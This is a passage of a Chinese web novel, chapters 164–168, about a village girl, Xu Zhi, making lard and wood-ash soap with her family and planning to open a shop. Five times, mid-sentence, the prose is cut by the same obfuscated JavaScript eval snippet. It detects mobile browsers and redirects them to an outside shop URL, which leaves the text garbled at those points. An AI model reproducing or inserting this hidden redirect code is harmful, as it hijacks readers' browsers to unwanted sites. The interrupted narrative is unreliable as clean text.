去年家里也种了些麦子,所以家里是存了些干秸秆的。 许芷去仓房里拿出来一些,在过年家里垒的小灶里面烧过,等到晾凉后将烧成灰白色的草木灰收集起来。 接着把草木灰都弄进家里的罐子,倒入满满一罐的泉水,搅匀后放在一边晾一天一夜后才能使用。 现在放着等到了明天下午才能用。 还有买的两斤板油需要炼出来。 这个许芷不擅长,只能让孟雨兰帮忙。 只见孟雨兰将板油洗净切成小块,把板油放进锅中,大火煸炒差不多,转小火开始熬制。 不一会儿就能看到锅里开始有了清亮的油,满院子都飘着油渣的香气。 在这过程中,孟雨兰为了防止烧焦,不停地翻炒着。 直到油渣炸成了焦黄色的小块,孟雨兰用干燥的笊篱将油渣捞出来,放到一边王茹娇早就准备好的盘子里。 刚放好王茹娇迫不及待的就上手吃了一个,吃倒是吃进嘴了,就是烫的龇牙咧嘴的。 手捏过的地方都烫红了,捏着耳朵跳脚,嘴里的油渣也烫,但她就那么烫着吃了进去。 许芷看着她蹦蹦跳跳的样子,劝道:“别吃烫食,不好,你等等再吃。” “好好好。” 这会儿烫的正难受的王茹娇听到许芷说什么都应。 熬好后不能立即盛出,稍微等油温晾一晾再装进罐子里。 做好了这些准备工作之后,已经是傍晚。 因为猪油渣大家都吃了,油腻的东西本来就占肚,所以晚饭有些吃不下。 孟雨兰就把下午剩下的米饭加了水做成了粥。 猪肉炖粉条还剩了些,添上水加了点菜和调料,就这么吃了。 因为王茹娇还在这,就这一个剩菜不太好,孟雨兰又炒了个茄子。 不过她炒的茄子跟他们平时直接炖煮,或者加蒜末炝锅茄子切块放进去炒的方法不一样。 她先是把茄子切成条,洒水沾上面粉,放进油锅里炸出脆壳捞出。 接着锅底放油和蒜片,炒出蒜香气。 将她提前用盐、酱油、糖、醋和红薯粉面调好的料汁倒进锅里。 搅出小泡,将茄子放进去,翻炒均匀裹上料,就可以盛出了。 带着锅气的茄子上桌,王茹娇惊叹道:“哇,雨兰姐,你也太会做菜,我都没见过茄子还能这么做。” 孟雨兰听到很受用,让她快尝尝好不好吃。 王茹娇虽然馋,但是该有的礼数还是有的。 她先用没用过的筷子给邓老太夹了一块茄子,“婶子你先吃。” 邓老太看到她谄媚的笑着,知道她急着尝,所以也不废话,拿起筷子将那块茄子放进了嘴里。 吃过之后眼睛一亮嗯了一声,“好吃,雨兰呐,你这茄子做的真好。” 说完让王茹娇她们快尝尝。 王茹娇早就等不及了,赶紧拿起筷子尝过,果然是好吃。 这一盘一大半都进了她的肚子,最后肚子吃撑到都走不动,在许芷家坐了半天才回家。 翌日,许芷吃过早饭去鹅圈里摸了几个鹅蛋,拿着就去了王茹娇家里。 “婶子?” 许芷站在门外叫着人。 徐青云一看是她赶紧招呼她进来,还佯怒道:“你这孩子,咱们两家这关系你还站在门口喊什么,直接进来就行。” 许芷笑了笑应下了。 平时她若是见到了王茹娇就直接打着招呼进来。 若是没见到,还是会站在门口规规矩矩的叫一声,等徐青云或者王老太让自己进门她才进。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123735|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 进来后,许芷路过厨房顺手放下了自己哪来的鹅蛋。 “婶子,这是我家的鹅下的蛋,我们吃不完,你们也尝尝。” 许芷提前说了吃不完,这让徐青云想推让一下都不行,她只好笑纳了。 因为昨晚王茹娇回来的时候,直接跟嫂子说过,许芷今天要来借他们家的小磨用,所以许芷一来徐青云就知道是为何而来。 她直接指了指院子里刷过晾着的小磨说:“娇娇昨晚都说过了,这磨我已经刷洗过了,这会儿还有点湿。 你要是不着急拿回去,就进屋跟娇娇玩一会儿再拿回家用。” 许芷倒是也不急,既然徐青云这么说了,她就应下,去了王茹娇屋里。 进去的时候,看到王茹娇正在绣东西。 看到许芷来,王茹娇赶紧把手里的东西藏了藏,笑着起身问许芷怎么来了。 许芷故意逗她:“来看看你偷摸做什么事儿呢。” 王茹娇就知道自己的举动是此地无银三百两。 她转身拿出了自己绣的手绢,说道: “哎呀,我绣工不好,比不得雨兰姐,我怕你看惯了雨兰姐那好手艺,笑话我这鸡爪子绣出来的残品。” 许芷凑头过去看了一眼,其实她绣的不错,只是孟雨兰是从小学的绣娘,她娘也厉害,自然不能跟她比。 不过许芷还是说道:“你这要是鸡爪子绣出来的残品,那我这不会绣的人算啥,岂不是更没用? 而且你这绣的不错了,别跟雨兰姐这种正经绣娘比,放到村子里你也是一把好手。 况且这要是你自己用,绣什么样不重要,重要的是好用就成。” 这些话让王茹娇喜笑颜开,但她还是弱弱否认道:“我不是自己用。” “送人?”许芷继续道:“送人就更好说了,送的是心意,不是绣工,我就不信谁收礼物还收的挑三拣四的。” “那倒是。” 王茹娇肯定道,脸上已经笑容满面了。 跟她聊了会儿天,看着时候不早了,许芷跟王茹娇说过,就带着小磨回了家。 第164章 一儿一女 这磨虽然看着小,可是纯实心的石头,不是一般的沉。 许芷刚抱着还觉得能行,没走多远就累得不行了。 她把磨放在一边的石头上休息,觉得差不多了,弯腰准备把磨扛在肩头回去。 她刚费了大劲儿把磨抱起来放在肩上,一双手就从她身后将磨拿走了。 因为拿的突然,她肩上一轻,让她不受控的往后踉跄了几步。 身后那人伸出了手抵在许芷的背上,止住了她踉跄的步伐。 许芷转身看到舅舅邓耧子笑的有些傻气的拿着磨,问她:“这么沉的东西怎么不叫我来搬。” 她微笑出声:“舅舅,这不是不知道你在家,要是知道怎么着都得让舅舅来。” “那可不,有舅舅在你费什么劲儿啊。” 邓耧子说着,两个人并肩往家回。 到家的时候,邓老太看到儿子,露出了意外的神色。 “呦?这是谁啊,真是稀客。” 闻言,许芷和孟雨兰捂着嘴笑。 老太太这话说的没错,从过了年之后,邓耧子来这里的次数屈指可数,跟之前天天来吃早午饭都不一样了。 所以邓老太才故意这么说的,就是为了臊自己儿子。 但是知道舅舅和刘喜英在一起的许芷清楚,只怕舅舅天天想方法去刘婶子家里。 邓耧子果然被亲娘说的脸色讪讪,挠着头不好意思说道:“娘,我这不是忙嘛,一有空就赶紧过来看您了。” 闻言,邓老太撇撇嘴,很有自知之明的故意道: “谁知道你是不是有了媳妇儿忘了娘,在外头看好了相好的,所以才天天不过来。” 听到这话,邓耧子脸色都变了,垂下眼不敢看自己亲娘,心想自己亲娘还真说对了。 而本来开玩笑的邓老太看到儿子这个反应,那还有什么不明白的。 她立刻喜笑颜开,走到儿子面前不确定的问道:“真有相好的了?” “不、不是。” 邓耧子还没否认完,邓老太笑的听不进去他说话,整个人给人的感觉都年轻了一些。 她双手合十对着老天说: “上天保佑,上天保佑,我这榆木疙瘩的儿子也开窍了,知道给自己找媳妇儿了!” 说完又高兴的看着邓耧子问道: “哪家的姑娘啊?是咱村的还是外村的?那姑娘喜欢你不? 要是喜欢赶紧把事儿办了,你可不小了,可得赶紧娶妻生子,最好是生个一儿一女,这样多好啊。” 这一连串的问题问的邓耧子一个字不敢说,他看着老娘期待的眼神,笑的心虚。 而邓老太看着他笑而不语的样子着急的追问,非要打听出来是谁家的姑娘,甚至扬言要立刻准备去提亲。 看着舅舅那为难的样子,许芷赶紧出口解救。 “祖母,这都是你猜的,舅舅可没说给我找了个舅母。 而且就算是有,你也该让舅舅探探那边的意思你再提亲,要不然万一是舅舅的单相思呢?” 听到许芷的话,邓老太还有些不信,还是看向儿子邓耧子,希望他给自己一个肯定的回答。 可是邓耧子只是脸色讪讪的看着她,还是一言不发。 她懂得了什么,原本期待的眼神瞬间变暗淡,看向邓耧子的时候那嫌弃的意味就又出现了。 最重要的是,整个人看着又恢复了那佝偻的样子,似乎只有那样的喜事才能让她充满活力。 邓耧子本想否认的话就那么堵在了嗓子眼。 他有多久没见到亲娘这么高兴的样子了。 小时候他记忆里的娘非常的温柔,总是笑着对他们说话,不管干什么都是挂着笑的样子。 可是从爹**之后,娘一下子就变了,整日以泪洗面,眼睛都快哭瞎了。 好不容易把他们哥仨都拉扯大,大哥和二哥又成了白眼狼一般的人物,甚至把她跟小芷扫地出门。 要不是小芷,娘的日子不会这么好过。 可是,真的这么好过吗? 她日日担心自己的婚事,不就是怕自己过身之后,操心不到自己。 邓耧子想到这,他突然眼神坚定了起来,没有顺着许芷的话否认。 反而说:“没错,娘,我有心仪的人了,只是人家还不是很愿意,你再等等,这两年我一定把她娶进门。” 他这话没错,刘喜英确实不同意公开,暂时只想两个人了解着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123736|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所以他觉得自己不算说谎。 而本来不抱期望的邓老太听到儿子这么说,她瞬间一扫阴霾,又恢复了刚刚兴高采烈地样子。 她咧开嘴大声地笑着,“听见没,小指儿,你舅舅真开窍了!” 许芷没想到舅舅会承认,不过看到祖母这么开心,她也笑着附和。 只要祖母开心,她也就开心。 等到邓老太情绪平复一些之后,她叮嘱儿子道: “你呀,对人家姑娘一定要温柔有分寸,有眼力见多干活,不要乱说话,不要乱动手,不要心疼钱,该付出就付出。 人家好不容易把闺女养这么大,你花点银子算什么? 人家要是来了你家,还得冒着生命危险给你生儿育女,那不是简单的事情,所以一定要对人家好。” 听到母亲的嘱托,邓耧子心思复杂的点了点头。 邓老太又嘱咐了些话,还将自己做的熏肉、咸菜装了些,一定要让儿子带给那个姑娘。 邓耧子实在拒绝不了,只能拿下了。 他吞吞吐吐的问邓老太:“娘,你喜欢孙子还是孙女?” 邓老太笑的意味深长:“你呀,还没娶到呢,都想到孩子上了。” 这话说的邓耧子垂头傻笑。 “喜欢孙子还是孙女啊?”邓老太重复了一遍他的问题,也真的考虑起来。 “一儿一女最好,但是不管生的啥,两个孩子就行,男女都成,多了负担重,没必要,还不如两个孩子教育好。” 这话倒是让许芷对祖母另眼相看,村里人都信奉多子多福,倒是少见有人说少生教育好的。 而邓耧子听到了,他咧开嘴一笑。 “娘,你放心我保证给你一儿一女,孙子孙女都有!” 听到这话邓老太还没来得及反应,而一旁喝茶的许芷直接喷了出来。 惹得三人都朝她看去,她连忙摆手说没事,自己就是喝的急呛到了。 这可不怨她,谁要是知道怎么回事,听到舅舅这话也会呛到的。 可不就是一儿一女都有了,甚至都不用刘婶子再添。 祖母听到这话,虽然觉得儿子太自信了,可是光听一听还是很高兴的。 第165章 葱白嫩指 因为有了磨,许芷立刻就开始磨那些药材。 将所有的材料准备好,还不到晌午。 因为草木灰水还没有晾好,还得等到下午才成。 暂时不用弄这些的许芷,跟孟雨兰研究着弄些什么花样绣药枕。 上次她让孟雨兰做的那三个药枕很有用,尤其是给祖母用的安神药枕。 用上之后,祖母晚上睡得好多了,起夜也少了,都不怎么做梦,一觉到天明。 但是绣花样这个还是孟雨兰的专长。 说是两个人商量,其实主要是孟雨兰提建议。 许芷顺道提一些自己的想法。 差不多都定下之后,她打算只要这些皂儿膏做好了,试过有效果,就打算大批量的买原料开始做这些东西。 铺子不能长时间关门,她手里的钱也没多少了,要不是这次卖汤药赚了些钱,只怕自己这次连买原料的钱都没有。 但是她手里的钱算过也不够,她打算去借一些。 一定要尽快把铺子开起来。 一直等到下午,草木灰水晾的到了时辰,许芷拿出一块干净的纱布放在罐子口,把草木灰水过滤出来。 虽然买了她需要的所有材料,但是为了防止头一次失败,许芷只打算做两种皂儿膏,一种只做一个,先看看能不能行。 成了就全部做上,分下去让大家都试试。 接着她拿出昨晚做好的猪油,挖了一大勺放在特意准备的陶罐里,放在灶火上,小火小心地搅动融化。 融化之后将罐子拿下来,先晾着。 晾至摸着罐子外壁温热不烫手,许芷将这点猪油分成了两份。 缓慢将草木灰水倒进去,一边倒一边让孟雨兰和祖母帮自己用木勺顺着搅动。 草木灰水倒完之后,木勺不能停要一直搅动。 接着在这个过程中倒进去自己早就准备好的其他东西。 一个里面许芷放了桂花油,一个放了绿豆粉。 同时许芷还在里面放了一些盐,孟雨兰不理解的问道:“这皂儿膏是用的又不是吃的,怎么还放盐呢,小妹?” 许芷放好后将盐罐子放回了厨房,出来解释道:“放了盐皂儿膏会更容易成型,也更硬一些,要不然太软了没法存着。” 听了许芷的解释,孟雨兰若有所思的点了点头,觉得自己又学到了很多。 接着她问道:“小妹,这个要搅多久啊?” “三刻到半个时辰,若是状态好些,会快些。” 许芷一边去接祖母手里的勺子,一边回答。 这时辰可不短,一直让祖母来搅和,肯定要胳膊酸痛。 两人一直不停的搅着,刚开始胳膊还觉得酸,到后面都快没有知觉了。 许芷用勺子舀起,看到是黏稠的,去打了碗凉水过来滴进去一点,看到沉底成小块。 许芷知道这就好了。 孟雨兰学着她用同样的方法,却看到自己搅的浮在了水面。 她有些担心的问许芷:“小妹我这是不是还没好啊,怎么没跟你的一样沉下去。” 许芷看过去,道:“你这也好了,不管是浮起还是沉下去,只要不分散在水中那就是成了。” 闻言孟雨兰才松了口气,再来她的胳膊可有点受不住。 接着把她们搅好的放进了模具中,倒好后许芷又拿起模具轻轻地往下磕了磕。 “这是为了让皂儿膏平整嘛?” 孟雨兰觉得自己好聪明猜到了,所以问的时候,语气很是笃定。 许芷看着手里因为震了震有些平静的面,她笑着回答:“算是吧,同时也是为了让皂儿膏变硬后里面没有小洞。” 孟雨兰若有所思的点了点头,没想到这做皂儿膏讲究还挺多。 装模之后,就没什么事情了,放到阴凉处等个七到十天,变硬之后就可以用了。 看到弄完了,孟雨兰揉着胳膊,感慨:“终于好了,再来几次我估计能习惯些。” 许芷上前帮她捏着胳膊,孟雨兰笑着接受了,还夸道:“果然小妹是懂医,你捏比我捏舒服多了。” “今日累坏了吧。” 许芷问。 孟雨兰嗐一声,无所谓道: “我这主要是从小当绣娘,我娘对我的手和胳膊都很看重,不让我做重活,所以我胳膊没什么劲儿。 要不是我爹是个大厨,估计连做饭这种事儿我娘都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131353|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让我沾手。 我娘真是从小当成标准绣娘培养的,那一双手除了绣东西别的什么活都没干过。” 听着孟雨兰的话,许芷看向孟雨兰的手,发现她的手确实比刚来的时候粗糙了许多。 当时她虽然看着脏兮兮的,可那一双葱白嫩手还是显眼的。 如今不似刚来那般。 许芷暗骂自己忽略了,绣娘最重要的就是手,好多绣品若是手粗糙的话,会勾丝会劈不好线。 总之,绣娘的手不该是这样。 这么想着,许芷打算给孟雨兰做个滋润的手脂,反正制作的过程和材料跟这些皂儿膏差不多。 突然她觉得为什么她不做些手脂呢? 光想到了洗干净用的东西,可是洗净之后,还需要东西涂抹。 再加一款手脂也行。 想好了之后,她手下的动作也停了,给孟雨兰按的差不多了。 她有些抱歉的跟孟雨兰说: “真是对不住雨兰姐,是我欠考虑了,你这手可是绣东西的,以后你不用做这些活计,好好保护这双手。” 孟雨兰一听毫不在意的摆摆手:“不用,我哪还有什么好东西需要绣,也不是绣娘了,这样的日子我就觉得挺好。” 她从来的时候就想好了,她早就不是大户人家的绣娘,根本没有什么精美繁复的绣样需要绣。 不需要保护手。 她也很喜欢这样的日子,没什么任务的大事,每天做好饭,收拾好家里,顾好自己家的一亩三分地。 跟从前的日子比不知道有多悠闲。 而且在许芷家自己什么都不干才不安心。 不就是一双手,没必要在乎。 但是许芷听到这话不同意道:“怎么没有什么好东西绣? 日后我那铺子要是红火了,万一有人来定做那些复杂的绣样,交给别人我可不放心,只能交给雨兰姐你。” 听到许芷这么说,孟雨兰只当她安慰自己。 她倒是不是觉得许芷的铺子不会红火,而是觉得真到了那时候多的是厉害的绣娘能聘用,何必用自己这生了手的人。 所以她打着哈哈笑着把这事儿混过去了。 第166章 红豆糕饼 因为家里有荫井,冷些还不见太阳,正适合皂儿膏存放。 许芷把做的两个皂儿膏都放进去了,荫井确实冷,都不到七到十天,第四天面上已经有白色的粉末。 摸过去已经是硬的了。 所以许芷将两个皂儿膏都拿了出来。 孟雨兰和邓老太在柿子树下闲坐,许芷就把做好的东西拿了过去给两人看。 看到上面有白色的粉末,孟雨兰十分的好奇问许芷这白色的粉末是啥。 许芷将粉末扒拉了下去,说道:“这就是咱们放进去的盐和草木灰。” “啊?”孟雨兰大受震撼:“这草木灰不长这样啊,而且盐哪有这么细啊。 还有要是盐和草木灰还要出来,干嘛还要放进去呢?” 闻言,许芷正在想怎么回答,邓老太已经回答上了。 “傻姑娘,那你说你不管吃进去多少东西,最后都要进了茅房,因为这你还能不吃东西了?” 这简单粗暴比喻一下就让孟雨兰理解了,她讪讪一笑,“我就是不懂问问嘛。” 许芷听到祖母这样说,也没忍住笑了。 虽然是糙了点,但是道理是没错的。 “这块有桂花香味的,名为桂花美人皎洁皂。 这块淡绿色的是绿豆消暑皂,有这淡淡的绿豆清香,两位客人需要哪一块啊?” 许芷介绍过两块皂,故意用铺子掌柜的语气问道。 孟雨兰眼疾手快的拿过了那块桂花皂,“这美人皂一听就是我用的,我勉为其难用上吧。” 听到她这么说,邓老太和许芷都被逗笑了。 邓老天则是跟着说:“那我就用这绿豆皂吧,天热了,用这个降热舒服些。” “成。” 许芷笑着应下,要把皂儿膏脱模的时候,发现怎么都弄不下来。 甚至最后把皂儿膏都弄碎成块才拿出来,许芷才想到装模具的时候忘了给模具上刷油。 不刷油的话,就是很难脱模。 许芷只庆幸自己没有做很多,要不然这么多都碎了,用倒是能用,但是不好意思送出去,也不能卖。 因为有了这皂,孟雨兰等不及,今天就想用。 过了晌午,最热的时候烧了水,三人都洗了澡。 许芷和祖母用的都是绿豆皂,别的不说这清新的绿豆味洗的时候,都让人心情很好。 三人洗完后,在院子里太阳最大的地方晾头发。 因为孟雨兰洗头发用的也是上次许芷做的桂花味的膏沐。 所以现在她身上的香味非常浓烈,整个人就像一个盛开的桂花树一样。 “小妹,你这东西还真好用,洗过之后我身上白嫩白嫩的,还好闻,简直是天上才有之物!” 孟雨兰夸得很用力。 许芷淡淡笑道:“好用就行。” 此时,王茹娇跨了个篮子进来了。 看到三人头发微干,坐在院子里晒太阳,她笑眯眯的走过来先跟邓老天问好。 “婶子,晒太阳呢?” 等到邓老太回答后,她继续说道:“我哥昨晚回来带了些红豆,我嫂子今日做了些红豆糕饼,我来给你们送些尝尝。” 说完她的小鼻子突然猛嗅起来。 “什么味儿啊,这么香?” 接着她就闻到了孟雨兰的身上。 “哇,雨兰姐,你用啥洗的澡,怎么这么香?” 孟雨兰心情好的不得了,甩了下头发说道:“小妹做的洗澡用的皂儿膏。” 王茹娇听到满眼羡慕,这实在是太好闻了,她就喜欢桂花。 “我这次就是试试,所以没给你送,不过好在这次做成了,等我再做了,我就给你送去一块。” 许芷看出了王茹娇眼底的羡慕,特意说道。 闻言,王茹娇高兴的嗯了一声,拿出篮子里的糕饼给她们三个分着吃。 因为刚刚孟雨兰身上的桂花味太过浓烈,她都没闻到许芷和邓老天身上的绿豆味。 就算闻到了一点,也以为是自己拿过来的糕饼味。 可是分糕饼的时候,她才发现靠近了许芷和邓老太这味道才明显些。 她好奇的说:“我还以为这清新的豆味是我拿的糕饼,原来是婶子和小芷身上的香味。” “小指儿做了个绿豆的皂儿膏,我老婆子活了几十年还是头一次用这吃的东西做的皂,别说挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131354|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好用的。” 邓老太温和的笑着解释。 王茹娇闻言只觉得许芷好厉害,什么都会做。 她下定决心说道:“那下次小芷你要是还做,我要来看看,我想学。” “当然可以了,我就怕你不想学呢。” 许芷高兴地说道。 真要是铺子开了业,那做的可不是一块两块,她需要帮衬。 而这几个月她忙着铺子的事情,村里的药田交给她和舅舅,舅舅倒是做的挺好的。 可是王茹娇毕竟是个女子,她对地里的活计还是没那么喜欢。 要是培养她做这些,说不定好些。 而且娇娇的性格也不适合在村里管着药田,那么多村里人不是好管的。 教会了娇娇做这些,以后铺子里这些有娇娇,香囊和药枕有孟雨兰,许芷觉得放心。 除了制药,许芷觉得多教娇娇一些东西也行。 所以许芷跟她约好,明天就做,让她明天下午来就行。 因为明天要做,许芷头发差不多干了的时候,就开始早早准备上草木灰水。 她细致的一步步地教着王茹娇该怎么做。 弄完之后,怕她记不住,还把制作皂儿膏的全过程写了下来。 让王茹娇回家后自己先看看,有什么不懂的或者不理解的明天问她。 翌日,王茹娇可等不到下午才来,上午就来了。 反正来了跟孟雨兰和许芷聊着天也行,时辰过的也快些。 不知不觉就到了草木灰水晾好的时辰,许芷这一次做的种类多些。 她打算一人做一种用,这种洗澡用的东西,还是分开用比较好些。 就连昨天她跟祖母用的虽然都是绿豆皂,但是那皂碎了两人用的不是同一块。 王家四个人,还有王三叔两口,张家兄弟俩,还有舅舅和刘喜英他们,一共十二人。 正好许芷上次写的方子也是十二个,就做了这么多。 做好后,已经很晚了,两个人都饥肠辘辘的。 其实饭早就做好了,但是邓老太怕耽误两人一直没敢叫两人吃饭。 这会儿弄完了才赶紧摆上桌吃饭。 第167章 左右为难 七八日后,许芷和王茹娇做的皂儿膏都晾好了。 这次许芷没有忘了在模具里面刷上油,脱模很是成功。 看着桌子上摆着的一块块皂儿膏,王茹娇笑的合不拢嘴。 “小芷,这要是没有你,我还真不敢相信我能干这么多事儿呢。” 许芷温柔的笑着,看向她道:“是你自己聪明学得快,不管是制药还是做这皂儿膏,你都行。” 听了许芷夸赞自己的话,王茹娇的笑容就更深了,嘴角快要翘到天上去。 这批做好的皂儿膏,许芷和王茹娇趁着刚脱模就拿到了村里,给大家使用。 每个人拿到的都是不一样的皂儿膏,人人都高兴极了。 当晚大家无一例外全都洗了澡,洗过之后许芷去问了大家的感受,都觉得很不错。 又问了问有没有觉得有什么问题,大家一致认为什么问题都没有。 许芷看着大家高兴的样子,觉得自己这东西算是成了,接下来就是开始大量的制作,铺子早就该开起来了。 只是单她一个人是做不出这么大多东西的,还是要找人帮忙。 她想着现在正是农闲的时候,村里的人在家没事,她可以找了他们当工人。 村里的人有钱赚,自己也省了事儿,算是一举两得的事情。 想清楚之后,许芷立刻就去了里正家中,跟里正讲清楚了自己的想法。 张永仁一听自然是满口答应,全村利好的事情,他有什么好犹豫的。 他连忙问许芷需要什么样的人,需要多少人。 许芷也不含糊,直接道:“大概十个就成,只要是心思细的、能吃苦的、男女老手我都不拘。” 只是里正一听这个脸上的笑容少了些,他有些尴尬的说道: “许丫头你这要的人太少了,村里几十户人家,上百人呢,我这让谁去不让谁去都不好吧?” 听到这话许芷愣了一瞬,她只想着给农闲时节的村民提供个赚钱的机会,却没想到这上面去。 确实,这事儿交给里正他为难,村子里这么多人,不管谁去那些个没挣到钱的都有怨言。 既然如此,许芷得体一笑,对里正道: “是我欠考虑了张爷爷。 这样吧,这件事我自己先看着办,等我什么时候生意做大做好,再给村里人这个机会吧。” 还有一点她没说,但是也是在刚刚想到的。 铺子里要伙计的话,可不管是农忙还是农闲,一年四季伙计都得在店里招呼着。 农闲的时候就算了,大家都能在铺子里老老实实干活。 可到了农忙时候,大家的心都飞回地里,都不在铺子,还怎么开门做生意? 张永仁一脸歉意的笑了笑,“日后,日后这药田干的好了,大家自然就还跟着你干其他的。” 他心里清楚,许芷这丫头不管有什么事儿都想着村里人。 哪怕村里人之前对她冷言冷语,闲言碎语也不少。 可她是个不计较的,从来有什么大事,或者赚钱的事儿都想着大家。 而且从来不越过自己去做这些事儿,把功劳都算在他的头上。 但他不得不这样给她泼冷水,他是一个村的里正,要考虑的事情很多,不止这些。 所以,他只能如此。 许芷自然是看到了里正充满歉意的眼神,她大方一笑,满脸不在意道: “里正,你是我见过最好的里正,不必觉得歉疚。 我也只是个十几岁的姑娘,敢想敢干是真的,但是有时候考虑不全也是真的。 所以,咱们下坪村有您真的是福气。” 这话说的里正热泪盈眶,他慌忙转过头去,擦了擦眼泪,笑着送走了许芷。 许芷出去后,并没有回家。 而是去了王家,她问询了王茹娇亲娘的意见,打算把王茹娇带到城里开铺子。 王老太本来有些犹豫,觉得这种抛头露面的事情不该女儿去做。 可又想到,城里的青年才俊多些。 女儿一直在这村子里哪能行啊,这村里人的人家她还不清楚几斤几两? 没一个配的上自己女儿的。 尤其是张家那个跟吃了哑药差不多的张铁牛,跟自己女儿走得太近,影响娇娇议亲。 所以她就顺口答应了许芷,但是她也提前说道:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137445|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “娇娇这丫头看见热闹就好往前跑,去了城里可不比村里,不能由着性子胡来。 你可要看好了她,别让她撒了欢。” 听到亲娘这么说自己,王茹娇脸色染了几分羞,轻声叫着让她别说了。 但是王老太瞪了她一眼,拉上许芷的手,继续说道: “还有一事,女子抛头露面终归是不好。 所以许丫头,那铺子里那么多伙计就让我这小女儿待在后面,她吃苦耐劳干啥都成,就是不能在前面招呼客人。” 许芷闻言看了眼脸色已经有几分怒气的王茹娇,又看向满脸期待看向她的王老太。 她还是端着得体的笑容承诺道:“王奶奶放心,我一定按您说的来安排。” 在许芷这得了准信儿的王老太瞬间满意,笑呵呵招呼许芷再待会儿。 但是许芷看了看王茹娇知道自己不能再留了,笑着随意找了个借口就回了家。 果然,她刚走王茹娇就生气的问亲娘。 “娘!你怎么回事啊?怎么老是在外人面前贬低我呢?” 王老太刚想训斥她不懂规矩,可是看到女儿生气起来着急的样子,她又心软了。 但语气还是硬。 “你这丫头,我哪有在外人面前贬低你,那许丫头是外人?” “我不是这个意思!” 一听自己的话有点把小芷当外人,她赶紧否认。 紧接着她生气的跺了下脚。 “不跟你说了。” 说完就跑了出去,徐青云见状想拦一下小姑子。 但听到婆母生气道:“不管她!让她出去,真是惯着她了。” 如此,徐青云作为嫂子也不好说什么,只能停下去做自己的事儿。 出了门的王茹娇着急的往山坳去,想追上许芷的脚步,可人都到了许芷家也没赶上。 进去一问,人还没回来。 孟雨兰也好奇问她:“我听小妹说出去找你们了呀,怎么没一起回来?” 王茹娇本来想找许芷倒苦水的,可是看着孟雨兰疑惑的眼神她只能忍住了,有些尴尬的摇摇头。 她也想知道许芷去哪了? 第168章 合适人选 被王茹娇追赶了一路的许芷,其实从王家出来之后,根本没回家。 她想到了村里一个很合适去铺子里做工的人选,那就是刘喜英刘婶子。 去年许芷带着村里人一起种药田的时候,刘喜英因为家中只有自己这个劳力,虽然很想,但还是没参与。 而且她还会让王桥从城里给她带回来点洗衣服或者是做衣服的活,光是这些已经够她忙的。 最后还是许芷说租了她的地,不用她管,许芷只给租地的钱,她才把家里的地租了出来。 许芷心想,既然刘婶子左右不过都要做工,与其等着王茹娇的哥哥不定时的带回来些零散活计,不如干铺子里稳定的活。 而且刘婶子就种了一点地,有自己舅舅完全可以忙得过来,也不用操心药田。 所以她打算去问问刘婶子干不干这活。 到了刘喜英家门外,看到他们家门窗紧闭。 许芷虽然有些不解,但还是礼貌地叫了声:“刘婶子,你在家吗?” 紧接着,听到屋里一阵兵荒马乱的声音。 弄得许芷本来抬起打算敲门的手,定在了哪里。 她疑惑的问道:“刘婶子?发生什么事儿吗?需要我帮忙吗?” 里面传来了刘喜英慌乱的声音:“没事,许丫头,你等我一下,马上来。” 听到这话,许芷懂事的站在外面等着。 可半天刘喜英都没来开门,许芷想到刚刚刘喜英的声音不对劲,怕她是突发什么急病,所以有些担心的准备推门。 只是手刚抬起来,面前的门就开了。 